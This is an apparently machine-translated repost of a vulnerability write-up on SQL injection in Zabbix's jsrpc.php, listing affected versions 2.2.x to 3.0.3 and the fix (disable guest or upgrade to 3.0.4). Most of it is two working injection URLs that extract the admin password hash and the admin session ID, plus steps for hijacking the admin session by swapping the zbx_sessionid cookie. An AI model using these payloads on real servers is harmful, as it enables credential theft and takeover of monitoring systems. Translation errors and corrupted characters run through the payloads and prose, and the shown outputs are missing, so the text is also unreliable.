Shulou(Shulou.com)06/01 Report--

Source of vulnerability: http://seclists.org/fulldisclosure/2016/Aug/60

* cost: low

Degree of harm: high

Utilization condition: guest user privilege is required (all unlogged-in users are set to guest user access)

Range of influence: 2.2.x / 2.4.x/ 3.0.0-3.0.3

Fix recommendation: disable guest users or upgrade to 3.0.4

Vulnerability exploitation:

Burst code

Sanr.com/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2 and updatexml (1) concat (0x3a, (select passwd from zabbix.users limit 0)), 1))% 23&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

The output result indicates that the vulnerability exists as follows:

Output result. Disable guest as follows:

Explode sessionid (you can use session spoofing if the password cannot be cracked)

The number 1 in front of the pop-up sessionid needs to be removed and the value of zbx_sessionid is modified.

Sanr.com/zabbix/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2= (select (1) from users where 1 # 1 aNd (SELECT 1 FROM (select count (*), concat (floor (rand (0) * 2), (substring ((Select (select concat (sessionid,0x7e,userid,0x7e,status) from sessions where status=0 and userid=1 LIMIT 0Med 1) a from information_schema.tables group by a) b)) & updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

Zabbix specific version number view

Version 2.x

Version 3.x

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.